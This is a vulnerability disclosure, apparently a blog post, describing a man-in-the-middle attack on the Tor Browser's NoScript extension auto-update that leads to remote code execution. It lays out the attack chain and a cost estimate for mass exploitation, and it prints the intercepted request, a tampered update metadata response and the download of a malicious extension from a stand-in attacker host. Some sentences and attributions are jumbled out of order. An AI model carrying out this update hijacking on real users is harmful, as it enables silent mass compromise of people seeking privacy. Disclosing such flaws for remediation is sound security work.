Tor Browser Exposed: Anti-Privacy Implantation at Mass Scale

Tor Browser Exposed: Anti-Privacy Implantation at Mass Scale Credit: @Ox000000 Introduction: The combination of chaining the vulnerabilities described below allows a malicious exit node operator or global adversary to conduct a silent remote code execution attack on all platforms of the Tor Browser. This attack is not limited to just being hypothetical in nature and evidence shows that this attack has already been possible for a number of years. The list of vulnerable deployments to this attack includes the native Tor for Windows, Linux, OSX and also includes Tor Browser installations on dedicated operating systems such as Tails and Whonix. Browser The entire security of the Tor Browser ecosystem relies on the integrity of a single TLS certificate that has already been previously compromised. Efforts to mitigate these types of risks through certificate pinning appear to with regard to the extension update process and also appear to provide no protection. not have been correctly implemented This attack enables arbitrary remote code execution against users accessing specific clearnet resources when used in combination with a targeting mechanism; such as by passively monitoring exit node traffic for traffic destined for specific clearnet resources. Additionally this attack enables an attacker to conduct exploitation at a massive scale against all Tor Browser users and to move towards implantation after selected criteria are met (such as an installed language pack, public IP address, DNS cache, stored cookie, stored web history, and etc). Quick financial estimates put the cost to launch such an attack at roughly $100,000 USD for maximum impact. To put in clearer perspective; this attack costs an attacker 0.06 USD per compromised machine given that 1.5 million users operate on Tor at any given time. Ultimately the combination of all vulnerabilities and the resources required to stage such an attack is well within the reach of a nation-state or criminal organization. Responsible Disclosure Attempts: This vulnerability was originally described publicly in concept before the initial confirmation of the feasibility of the attack. Reaction to the theoretical disclosure was mocked as non-credible by Micah Lee and Andrea Shepard (individuals associated with the Tor Project Incorporated). Attack Requirements: A moderate bar to entry for this attack is set due to the requirement of needing a valid/spoofed TLS certificate for addons.mozilla.org. This is difficult to accomplish but not impossible. Interestingly, this requirement has already been demonstrated as being achievable in 2011 by who created a fake TLS certificate for addons.mozilla.org. The attack on the TLS certificate for addons.mozilla.org was also (former Tor Project Incorporated employee) in great detail. alleged Iranian hackers analyzed by Jacob Applebaum “There is some suspicion that this action was taken by a state level adversary” — Jacob Applebaum describing the TLS attack against addons.mozilla.org The other requirement needed is that an attacker needs to operate enough exit nodes to serve a significant portion of the Tor Browser population. Unfortunately, this is not a difficult task at all. Audit Discoveries: A security audit was conducted on the Tor Browser auto-update mechanisms to determine if a backdoor or remote code execution attack could be possible. Typically a secure auto-update process will protect both the communications stream and also individual file integrity by using cryptographic signatures. It was during this analysis of the auto-update process that a vulnerability was discovered. The method used to update browser extensions was determined to be vulnerable to man-in-the-middle attacks. Additionally it was discovered that Mozilla authorizes independent developers to cryptographically sign browser extensions without review. “The add-ons signing API, [November 2015], will allow for a completely automated signing process” — (Mozilla) introduced earlier this month Kev Needham In order to verify the feasibility of the attack chain a custom browser extension was developed to determine if arbitrary code could be executed. This browser extension was then submitted to Mozilla for cryptographic signing and was immediately signed. An Image Displaying a Mozilla Cryptographically-Signed Extension In normal operation the auto-update process for Tor Browser extensions occurs as described below: Update requests are sent out at least once every 24 hours An update metadata file is downloaded over HTTPS (some metadata files are cryptographically signed others are not) The extension update is downloaded from addons.mozilla.org and is verified using the update metadata file and Mozilla root signing certificate. If the downloaded file matches the earlier metadata file and is cryptographically signed, then the extension is silently updated without user interaction. Other Audit Notes: An attempt to maximize code coverage during the audit was made. There are two general methods for auto-updates in the Tor Browser and both were inspected for vulnerabilities. The other auto-update method updates the actual browser executable and related files but is entirely protected by cryptographic signatures that are not available to the general public. Our analysis showed that this method is not vulnerable to man-in-the-middle attacks. Anti-Privacy Implantation at Mass Scale: At a high-level the attack path can be described by the following: Attacker gains custody of an addons.mozilla.org TLS certificate (wildcard preferred) Attacker begins deployment of malicious exit nodes Attacker intercepts the NoScript extension update traffic for addons.mozilla.org Attacker returns a malicious update metadata file for NoScript to the requesting Tor Browser The malicious extension payload is downloaded and then silently installed without user interaction At this point remote code execution is gained The attacker may use an additional stage to further implant additional software on the machine or to cover any signs of exploitation This attack can be demonstrated by using Burp Suite and a custom compiled version of the Tor Browser which includes a hardcoded root certificate authority for transparent man-in-the-middle attacks. NoScript Metadata Update Process: An initial request to receive the update metadata file is made by the Tor Browser. GET /update/VersionCheck.php?reqVersion=2&id={73a6fe31-595d-460b-a920-fcc0f8843232} HTTP/1.1Host: versioncheck.addons.mozilla.org... [SHORTENED] The malicious exit node returns the following data after modifying the version, updateLink, and updateHash fields: HTTP/1.1 200 OK... {ec8030f7-c20a-464f-9b0e-13a3a9e97384} 13.0 * https://addons.mozilla.org/versions/updateInfo/1910123/%APP_LOCALE%/ 2.9.0.1337 em:version em:targetApplication RDF:Description em:id em:minVersion em:maxVersion https://hackedbynsalol.gov/hackedbynsalol-0.0.5-fx.xpi em:updateLink em:updateInfoURL sha256:6e281b84fc944c5b7f2c1697ed9ab855682b52a95e2189f0102acba941533a9b em:updateHash The Tor Browser then sends a GET request for the updated browser extension file and then installs it silently after verifying its cryptographic signature. GET /hackedbynsalol-0.0.5-fx.xpi HTTP/1.1Host: hackedbynsalol.govUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateMoz-XPI-Update: 1Connection: close Since the browser extension has been validly signed by Mozilla this attack is successful and remote code execution is gained. Conclusion It is likely that a well-resourced attacker could weaponize this technique and achieve full-scale compromise of the Tor Browser ecosystem while maintaining a high-level of undetectability. The above attack chain represents preliminary work and is being disclosed in order for rapid mitigation to occur.